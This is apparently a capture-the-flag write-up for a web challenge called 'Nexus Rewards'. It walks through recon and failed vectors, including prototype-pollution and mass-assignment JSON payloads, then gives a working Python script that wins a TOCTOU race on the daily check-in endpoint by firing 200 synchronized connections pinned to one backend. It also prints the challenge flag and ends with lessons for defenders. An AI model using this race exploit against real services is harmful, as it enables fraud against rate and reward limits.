Category: Web
Flag: CDDC2026{r4c3_c0nd1t10n_1s_r34l_thr34t_d89f2a1b}
Challenge
During the Rift patrol, Defender spotted the "Nexus Rewards" outpost. Investigate the system and acquire the rewards.
Target: http://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7219
The site is a single-page "Nexus Rewards" app (Express, behind an AWS ALB) with a dashboard, daily check-in, missions, leaderboard, and a "coming soon" shop. The frontend identifies the user via a random X-Session-ID header. The flag is gated by a points balance.
Recon
The HTML embeds the entire client. Endpoints discovered from the JS:
| Method | Path | Notes |
|---|---|---|
| GET | /api/stats |
returns points, lastClaim, streak, requiredPoints (1000), … |
| POST | /api/daily-checkin |
grants +100 points, increments streak, sets lastClaim |
| GET | /api/missions |
static list of missions, none completable via API |
| GET | /api/leaderboard |
hard-coded top users |
| GET | /api/shop |
items listed |
| POST | /api/shop/purchase |
always responds "Shop feature coming soon!" |
| GET | /api/flag |
returns the flag iff points >= requiredPoints |
Session state lives in server memory keyed on X-Session-ID. The ALB pins a backend via AWSALB cookies; without the cookie, requests scatter across multiple backends, each with its own in-memory store.
Dead Ends
A lot of plausible vectors were tested and ruled out:
- Impersonation — using leaderboard usernames (
CryptoKing,admin, etc.) as session IDs returns a fresh zero-point user. Names are purely cosmetic. - Shop abuse — every purchase variant (negative price, unknown item, missing fields) returns the same "coming soon" string.
- Body merge / mass assignment — sending
{"points": 99999}to/api/daily-checkinis ignored; only the side-effect of the handler counts. - Prototype pollution via body —
{"__proto__":{"points":99999}}and{"constructor":{"prototype":{...}}}don't mutate later sessions. - Prototype pollution via session ID —
X-Session-ID: __proto__did create odd state (users["__proto__"]returnsObject.prototype), but the handler then writes own properties on the prototype object, and other code paths still initialise fresh sessions with own zeros, so fresh sessions read0. Not exploitable on its own. - HTTP verb / path tricks —
GET/PUT/DELETE/PATCHon/api/daily-checkinall 404; case variants and trailing-slash hit the same handler. - Endpoint enumeration —
/api/admin,/api/users,/api/me,/api/source,/.env,/.git/config,/server.js, etc. all 404. - Naive race (curl
&) — 50 parallel curls without the AWSALB cookie scored 4 successes (one per backend the LB happened to land on). With the cookie pinning a single backend, only 1–2 succeeded — not enough. - Pipelined race (50 connections × 30 pipelined requests, 1500 total) — only 1 success. A connection's pipelined requests are processed serially by Node, so this concentrates load on one event loop slot rather than racing.
The Bug
The /api/daily-checkin handler does something like:
const user = await getUser(sid); // <-- await yields
if (user.lastClaim && now - user.lastClaim < 86400000) return blocked();
user.points += 100;
user.streak += 1;
user.lastClaim = now;
Even though Node is single-threaded, the await between reading lastClaim and writing it is a classic TOCTOU window. Many in-flight requests can all observe lastClaim === null before any of them gets to set it. Each then proceeds to award +100 and +1 streak.
The previous race attempts under-performed because:
- No AWSALB pin → claims land on different backends; each backend's state is isolated, so points don't aggregate against a single account.
- Pipelining on one socket → requests on the same connection are processed serially; only one can win the race per connection.
What's needed: many independent TCP connections, all pinned to the same backend, releasing their request bytes at the same instant.
Exploit
The script opens 200 sockets up-front (one AWSALB cookie shared, all pinned to the same backend), then uses a threading.Barrier so every thread blocks until all sockets are connected and only then does each thread call sendall of a single POST /api/daily-checkin. The simultaneous burst stuffs the server's accept queue with 200 requests before the first handler resolves its await.
import socket, time, threading, urllib.request, http.cookiejar
HOST, PORT = "cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com", 7219
SID = f"py{int(time.time()*1_000_000)}"
# Establish AWSALB stickiness so all 200 requests hit one backend.
jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
opener.open(f"http://{HOST}:{PORT}/").read()
cookie_hdr = "; ".join(f"{c.name}={c.value}" for c in jar)
N = 200
socks = [socket.create_connection((HOST, PORT)) for _ in range(N)]
req = (
f"POST /api/daily-checkin HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"X-Session-ID: {SID}\r\n"
f"Cookie: {cookie_hdr}\r\n"
f"Content-Length: 0\r\n"
f"Connection: keep-alive\r\n\r\n"
).encode()
results, lock = [], threading.Lock()
barrier = threading.Barrier(N)
def send(sock):
barrier.wait() # everyone fires at the same instant
sock.sendall(req)
sock.settimeout(10)
data = b""
while True:
chunk = sock.recv(65536)
if not chunk: break
data += chunk
if b"HTTP/1.1" in data and data.endswith(b"}"): break
with lock: results.append(data.decode(errors="ignore"))
threads = [threading.Thread(target=send, args=(s,)) for s in socks]
for t in threads: t.start()
for t in threads: t.join()
print("successes:", "\n".join(results).count('"success":true'))
print(opener.open(urllib.request.Request(
f"http://{HOST}:{PORT}/api/stats", headers={"X-Session-ID": SID})).read().decode())
print(opener.open(urllib.request.Request(
f"http://{HOST}:{PORT}/api/flag", headers={"X-Session-ID": SID})).read().decode())
Output
[conns=200 batch=1] elapsed 0.28s success=18 failures=182
stats: {"points":1800,"lastClaim":...,"streak":18,"requiredPoints":1000,"missionsCompleted":0,"achievements":0}
flag: {"success":true,"flag":"CDDC2026{r4c3_c0nd1t10n_1s_r34l_thr34t_d89f2a1b}", ...}
18 of 200 requests slipped through the TOCTOU window — 18 × 100 = 1800 points, comfortably above the 1000 gate. Subsequent reads of /api/flag returned the reward.
Flag
CDDC2026{r4c3_c0nd1t10n_1s_r34l_thr34t_d89f2a1b}
Lessons
- Async ≠ atomic. Node's single-threaded model does not protect you when the handler
awaits between a read and a write to shared state. Treat eachawaitas a context switch and protect critical sections with a per-key mutex (or a compare-and-swap in your store). - The load balancer is part of the threat model. Without the
AWSALBsticky cookie, the race appears mitigated because state is fragmented across backends. With the cookie, all 200 requests slam one backend and the bug surfaces. Don't rely on incidental sharding for correctness. - Pipelined vs parallel matters for race PoCs. Pipelining serializes on one connection; spawning N connections with a synchronized release is what produces real concurrency at the application layer.